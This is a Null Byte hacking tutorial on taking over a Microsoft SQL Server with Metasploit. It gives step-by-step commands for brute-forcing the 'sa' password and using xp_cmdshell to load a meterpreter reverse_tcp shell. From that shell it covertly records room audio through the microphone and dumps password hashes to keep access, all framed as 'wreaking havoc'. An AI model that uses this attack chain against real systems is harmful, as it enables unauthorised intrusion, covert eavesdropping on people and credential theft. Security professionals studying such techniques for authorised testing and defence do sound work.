How to Hack Databases: Cracking SQL Server Passwords & Owning the Server « Null Byte :: WonderHowTo

Welcome back, my rookie hackers!A short while back, I began anew series on database hacking, and now it's time to continue and extend your education in that field. As you know, the database contains all of the most valuable info for the hacker, including personally identifiable information, credit card numbers, intellectual property, etc. So, it's the ultimate goal of cybercrime and the APT hacker.If you haven't read my guide ongetting started in database hacking, this would be a good time to brush up on some basic concepts. In addition, I also did a tutorial onfinding SQL Server databases, and I recommend reading both of those guides before continuing below.In this tutorial, we'll look at how we can crack the password on the system admin (sa) account on the database, install a meterpreter payload through calling the stored procedurexp_cmdshell, and wreak havoc on their system.Step 1: Start MetasploitFirst, we need to startMetasploit. Once we have the metasploit command prompt, we need to define which module we want to use. In past Metasploit tutorials, we've always used exploits, but this one is a bit different. Instead, we will use ascanneramong the auxiliary modules that enables us to brute force the sa password. Let's load upmssql_login:use scanner/mssql/mssql_loginAs you can see, Metasploit responds by telling us we have successfully loaded this auxiliary module. Now let's take a look at the options with this module.show optionsStep 2: Set Your OptionsIn order to run this MS SQL login module, we will need:A password file,Set the RHOSTS, andDetermine the number of THREADS we want to run.BackTrackhas a wordlist specially built for MS SQL password hacking with over 57,000 commonly used SQL passwords at/pentest/exploits/fasttrack/bin/wordlist.txt. In this case, our target is at 192.168.1.103, and we will set our THREADS to 20.Step 3: Brute Force the Database PasswordsNow, we simply need to typeexploitand it runs through password list until it finds the password for the sa account.exploitAs you can see, after testing over 57,000 passwords (it takes a few minutes, so be patient), it found the password on our sa account of "NullByte". Success! Now we have full sysadmin privileges on thedatabasethat we can hopefully convert to fullsystemsysadmin privileges.Step 4: Grab the xp__cmdshellNow that we have full sysadmin (sa) on the MS SQL database, we are going to leverage that to full system sysadmin privileges. MS SQL Server has a stored procedure namedxp_cmdshellthat enables the sa account to gain a system command shell with full system admin rights. If we can invoke that command shell, we may be able to load the payload of our choice on the system and own that system.Metasploit has a exploit module namedwindows/mssql/mssqlpayloadthat attempts to do this. Let's load it.use windows/mssql/mssql_payloadNow, let's check the options for this exploit:show optionsIn this case, we will try to load the meterpreter on this system, so let's:set PAYLOAD windows/meterpreter/reverse_tcpIn addition, we need to set the LPORT, the LHOST, the RHOST and the password we recovered from the sa account from above, in this case, "NullByte".Now, simply typeexploitand if all is right with the world, we should get a meterpreter prompt.Success! We have a meterpreter session!Step 5: Wreak Havoc!Now that we have the meterpreter on this system thanks to thexp_cmdshellstored procedure, we can begin to wreak havoc on this system. Take a look atmy list of meterpreter scriptsand let's try a few.First, let's turn on the microphone and listen in on the conversations of the sysadmin and anyone else in the room. Think of it as installing a bug in the room from the old James Bond 007 movies.meterpreter > run sound_recorder -i 100 -l /etcThis will grab 100 segments of audio of 30 seconds, or about 50 minutes, and save it in the/etcdirectory. Of course, we can record as much audio as we want. We are only limited by hard drive space.Step 6: Grab the HashNow, let's grab some passwords so that we can log back back in whenever we please. Remember, once we have the admin password, we can login any time withMetasploit's psexec exploit.meterpreter > hashdumpAs you can see, we were able to grab the password hashes from the system. We then need to eithercrack the hashes using John the Ripper, orcrack the hashes using Cain and Abel.Keep coming back for more adventures in hackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePassword keyimage via ShutterstockRelatedHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow to Hack Databases:Hunting for Microsoft's SQL ServerHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack a Microsoft SQL ServerHow To:Hack websites with SQL injectionHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:SQL Injection! -- Detailed Introduction.How To:Hack MD5 passwords with Cain and AbelHow To:Attach or detach a database in SQL Server 2005 ExpressSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1SQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Grab All the PasswordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)SQL Injection 101:Advanced Techniques for Maximum ExploitationHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Setup Dendroid (Android RAT)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Enumerate MySQL Databases with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoogle Dorking:AmIDoinItRite?Hack Logs and Linux Commands:What's Going On Here?Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:PostgreSQL Quick StartHow To:Protect Your PHP Website from SQL Injection HacksGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingMastering Security, Part 1:How to Manage and Create Strong Passwords